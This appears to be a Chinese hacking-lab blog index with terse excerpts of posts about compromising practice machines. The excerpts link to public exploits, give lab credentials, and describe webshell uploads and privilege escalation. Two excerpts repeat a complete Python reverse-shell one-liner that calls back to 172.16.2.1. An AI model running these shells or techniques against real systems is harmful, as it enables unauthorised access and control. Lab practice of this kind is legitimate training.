菜浪马废的博客

wampp: xampp密码好像没啥用啊访问xammp和phpmyadmin都不需要密码

39891.txt

有一个目录scphelpdesk：helpdesk1234321

https://github.com/ruthvikvegunta/nagiosxi_rce-to-root/blob/master/nagiosxi.py

https://github.com/g0rx/Drupal-SA-CORE-2019-003/blob/master/cve-2019-6340.pysettings.php files found: .

漏洞就在脸上了https://github.com/mhaskar/CVE-2020-8813为啥用不了呢

https://github.com/ruthvikvegunta/XAMPP-WebDAV-Exploit/blob/master/webdav_exploit.pyhttps://github.com/abatchy17/WindowsExploits/blob/master/MS11-046/MS11-046.exe

smb 3.5.11漏洞直接root

修改一下脚本

#!/usr/bin/pythonfrom __future__ import print_functionimport requestsimport sysimport reimport argparseimport base64import osimport randomimport timetry: # Python 2.6-2.7 from HTMLParser import HTMLParserexcept ImportError: # Python 3 ...

#!/usr/bin/pythonprint "Sync Breeze Enterprise 8.9.24 Buffer Overflow Exploit"print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"#Author website: www.tulpa-security.com#Author twitter: @tulpa_security#Exploit will land you NT AUTHORITY\SYSTE...

第一种：ms17-010第二种：ms08-067cve2019-0708好像也可以利用懒得写了

有远程命令执行漏洞

看一看密码重置的漏洞得到了webshell晚上再写吧下午上课

完成

弱密码admin：admin有命令执行漏洞不用msf的话

两种方法第一种方法（ms17-010）得到了NAS的凭证第二中方法

字符串是密钥

弱密码admin：adminpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.2.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'拿w..

找到了文件算了算了写不动了今天写了6台了吧实在写不动了明天再说

需要密码admin：admin弱密码猜解成功有漏洞脚本地址验证成功得到webshell直接切换用户root：root弱密码得到权限

搜一下版本漏洞漏洞脚本地址应该算做完了吧官网的最后一个提示是在FTP中查看key.txt文件就算做完了吧这台机器好没意思

wordpress用wpscan扫描一下

80端口找到文件上传上传.php文件需要抓包修改一下参数就可以绕过了得到webshell/binbackdoor很可疑下载到本地分析看了半天还是不会提权

tomcat：s3cret直接登录进来了接下来上传文件拿到webshell现在考虑提权的问题linpeas.sh跑了一下发现/usr/lib/pt_chown —> GNU_glibc_2.1/2.1.1_-6(08-1999)利用失败利用失败

VHL提示了是dolphin的RCE40756.py完成之前卡在web-dev卡了好久下把那个往后放一放先刷别的靶机

ftp有远程命令执行漏洞脚本python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.2.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'执行命令..

先看80发现一个登录页面，一个cms，一个phpmyadmin没找到利用明天再写

先看ftp里面有个文件没啥用好像看一下80可以利用/uploads页面访问需要密码是不是要通过LFI读取文件获得密码然后上传脚本getshell呢明白了明白了FTP里的文件相当于是给了你/etc下的文件目录查看里面的文件找到一个账号backupuser:apr1apr1apr1hk8Ikz6P$S260ZcSXHNUCoc2Afh7mp.backupuser：0811783909密码有了但是应该不是用来webshell的没错是ssh的直接登录提权.

访问了一下主页发现是wordpress用wpscan跑一下得到一个用户名techblog一个插件wordfence倒是有漏洞但是没办法利用wordpress版本也没有可利用漏洞WordPress Site Import 1.0.1在blog里找到这个验证一下还真是LFItechblog：z8n#DZf@Sa#X!4@tqG得到账号登录成功修改文件404.php改成脚本然后随便访问一个不存在的页面还是先考虑内核提权没找到利用啊明天再说...

80端口扫了一下目录/data 有许多数据/admin 登录页面MD5解密lucky：luckyssh登录失败试一下cms登录成功了找到了cms版本号文件上传漏洞为啥我不能上传文件呢明天再看看吧